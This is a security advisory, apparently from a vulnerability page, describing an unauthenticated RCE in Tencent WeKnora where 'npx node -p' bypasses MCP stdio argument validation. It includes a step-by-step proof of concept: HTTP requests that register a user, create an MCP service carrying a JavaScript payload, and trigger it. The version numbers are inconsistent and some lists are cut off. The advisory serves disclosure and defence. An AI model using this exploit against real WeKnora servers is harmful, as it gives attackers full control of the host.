| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/Tencent/WeKnora | ≥ 0.2.5, < 0.2.10≥ 0.2.6, < 0.2.10 | 0.2.10 |
| weknora | ≥ 0.2.5, < 0.2.10 | 0.2.10 |
A critical unauthenticated remote code execution (RCE) vulnerability exists in the MCP stdio configuration validation introduced in version 2.0.5.
The application allows unrestricted user registration, meaning any attacker can create an account and exploit the command injection flaw. Despite implementing a whitelist for allowed commands (npx, uvx) and blacklists for dangerous arguments and environment variables, the validation can be bypassed using the -p flag with npx node. This allows any attacker to execute arbitrary commands with the application's privileges, leading to complete system compromise.
The vulnerability remained unfixed across multiple releases (2.0.6-2.0.9) before being silently patched in version 2.0.10, without a published CVE, potentially leaving customers unaware.
The application's open registration policy, combined with the vulnerable MCP stdio configuration, creates an unrestricted attack surface. Any attacker can:
The security patch introduced in commit f7900a5e9a18c99d25cec9589ead9e4e59ce04bb attempts to prevent command injection through:
uvx and npx are allowedLD_PRELOAD, PATH, etc.However, the patch has a critical flaw: the -p flag in npx node is not explicitly blocked in the DangerousArgPatterns regex list. The -p flag allows Node.js to evaluate and execute arbitrary JavaScript code, effectively bypassing the argument validation.
The vulnerable code flow:
ValidateStdioConfig() calls ValidateStdioArgs(args)ValidateStdioArgs() checks each argument against DangerousArgPatterns-p or similar execution flags["node", "-p", "require('fs').writeFileSync(...)"] pass validationRunning one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freenpx node -p <payload>Timeline of Concern:
This silent fix pattern poses significant risks:
Step 1: Register a new account (unauthenticated)
Step 2: Create a malicious MCP service
POST /api/v1/mcp-services HTTP/1.1
Host: localhost:8080
Authorization: Bearer [JWT_TOKEN_FROM_REGISTRATION]
Content-Type: application/json
{
"name":"rce",
"description":"rce",
"enabled":true,
"transport_type":"stdio",
"stdio_config":{
"command":"npx",
"args":["node","-p","require('fs').writeFileSync('/tmp/pwned.txt', 'Hacked by attacker')"]
},
"env_vars":{}
}
Response will contain the service ID (e.g., 087854f4-bde3-4468-8702-4aeb95c868da)
Step 3: Trigger the RCE by testing the service
POST /api/v1/mcp-services/087854f4-bde3-4468-8702-4aeb95c868da/test HTTP/1.1
Host: localhost:8080
Authorization: Bearer [JWT_TOKEN_FROM_REGISTRATION]
Content-Type: application/json
{}
Step 4: Verify exploitation
On the server, the file /tmp/pwned.txt will be created with content "Hacked by attacker", confirming arbitrary command execution.
Severity: Critical
Unauthenticated RCE allowing complete server compromise. An attacker can register an account and execute arbitrary commands with full application privileges.
Immediate Actions: